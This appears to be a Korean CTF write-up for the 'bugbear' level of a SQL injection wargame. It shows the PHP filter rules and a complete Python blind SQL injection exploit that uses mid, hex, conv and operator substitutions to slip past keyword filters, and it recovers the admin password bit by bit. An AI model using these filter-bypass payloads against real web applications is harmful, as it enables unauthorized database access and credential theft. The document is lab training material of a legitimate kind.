없다.
문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.
get으로 요청된 no값에 prob
, _
, .
, ()
, '
, substr
, ascii
, =
, or
, and
,
, like
, 0x
, 요청된 pw 값에 '
이 들어가면 프로그램이 죽는다. 즉 이 부분이 필터링 부분이다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
그 다음은 query가 나오는데 sql 명령문이다.
명령문은 id를 찾는데 prob_bugbear라는 테이블에 있어야 하고, id는 guest이고, pw, no는 get으로 요청된 pw, no이어야 한다.
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
그리고 id
가 있으면 Hello (찾은 id)
이라고 출력이 된다.
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
그런 뒤에 오류 방지를 위해 $_get[pw]
에 addslashes
를 한 뒤 다시 $_get[pw]
에 넣는다.
$_GET[pw] = addslashes($_GET[pw]);
그리고 나서 다시 query가 나오는데 sql명령문이다.
명령문은 id를 찾는데 prob_bugbear라는 테이블에 있어야 하고, id는 admin이고, pw는 get으로 요청된 pw이다.
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
이 query 결과에 pw
가 있고, 결과로 나온 pw
가 입력한 pw
와 같으면 문제가 풀린다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
일단 문제가 풀리는 조건을 보면 select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'
의 pw값이 있어야 한다. 즉 admin의 pw값을 찾아야 한다. addslashes가 있고, Hello (id)로 true/false를 알 수 있기 때문에 blind sql injection을 사용하면 된다. 필터링을 주의해서 익스플로잇을 짜면 된다.
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
no
를 이용해서 blind sql injection
을 할려면 guest
, admin
의 no
를 알아야 한다. =
는 필터링에 걸리기 때문에 <
, >
를 이용해서 no
를 확인하면 admin
의 no
는 2
이고, guest
는 1
인 것을 알 수 있다.
익스플로잇을 짤 때 첫 부분은 필요한 값들을 설정한다.
from requests import get
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'}
먼저 pw
를 확인할 때는 pw
의 길이부터 알아야 한다. 그렇기 때문에 길이를 확인하는 코드를 짜준다. 그리고 =
가 필터링이 되어 있기 때문에 <
, >
를 사용하고, and
, or
,
이 필터링되어 있기 때문에 ||
, %26%26
를 사용하여 필터링우회를 한다.
password_length = 0
while True:
password_length += 1
query = f"{url}/?no=0||no>1%26%26length(pw)<{password_length}"
response=get(query, headers=header)
if "<h2>" in response.text:
password_length -= 1
break
print(f"password_lengh : {password_length}")
pw 길이 확인 때 실행될 sql query
select id from prob_bugbear where id='guest' and pw='' and no=0||no>1&&length(pw)<1
pw의 문자가 어떤 문자로 이루어져 있는지 모르기 때문에 bit열로 변환해서 추출하기 전에 길이를 알아야 한다.
substr
이 필터링 되어 있기 때문에 mid
를 사용하고, ascii
, ord
가 필터링 되어 있기 때문에 hex
로 16진수로 바꾼 뒤 conv
를 사용해서 2진수로 바꾼다.
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"{url}/?no=0||no>1%26%26length(conv(hex(mid(pw,{i},1)),16,2))<{bit_length}"
response=get(query, headers=header)
if "<h2>" in response.text:
bit_length -= 1
break
print(f"bit_number : {i}, length : {bit_length}")
각 문자열 bit 길이 확인할 때 실행될 sql query
select id from prob_bugbear where id='guest' and pw='' and no=0||no>1&&length(conv(hex(mid(pw,1,1)),16,2))<1
pw의 bit열의 길이를 통해 bit열을 추출한다.
bits = ""
for j in range(1, bit_length + 1):
query = f"{url}/?no=0||no>1%26%26mid(conv(hex(mid(pw,{i},1)),16,2),{j},1)<1"
response=get(query, headers=header)
if "<h2>" in response.text:
bits += "0"
else:
bits += "1"
print(f"bit_number : {i}, bit : {bits}")
pw의 bit열 추출할 때 실행될 sql query
select id from prob_bugbear where id='guest' and pw='' and no=0||no>1&&mid(conv(hex(mid(pw,1,1)),16,2),1,1)<1
bit열을 가지고 문자열로 변환하면 원래 pw의 값이 나온다.
password = ""
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
위 과정을 합치면 익스플로잇이 이렇게 나온다.
from requests import get
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'}
password_length = 0
while True:
password_length += 1
query = f"{url}/?no=0||no>1%26%26length(pw)<{password_length}"
response=get(query, headers=header)
if "<h2>" in response.text:
password_length -= 1
break
print(f"password_lengh : {password_length}")
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"{url}/?no=0||no>1%26%26length(conv(hex(mid(pw,{i},1)),16,2))<{bit_length}"
response=get(query, headers=header)
if "<h2>" in response.text:
bit_length -= 1
break
print(f"bit_number : {i}, length : {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"{url}/?no=0||no>1%26%26mid(conv(hex(mid(pw,{i},1)),16,2),{j},1)<1"
response=get(query, headers=header)
if "<h2>" in response.text:
bits += "0"
else:
bits += "1"
print(f"bit_number : {i}, bit : {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
코드를 실행하면 admin
의 진짜 pw
값인 52dc3991
를 얻을 수 있다.
그리고 url 뒤에 /?pw=52dc3991
를 넣으면 문제가 풀린다.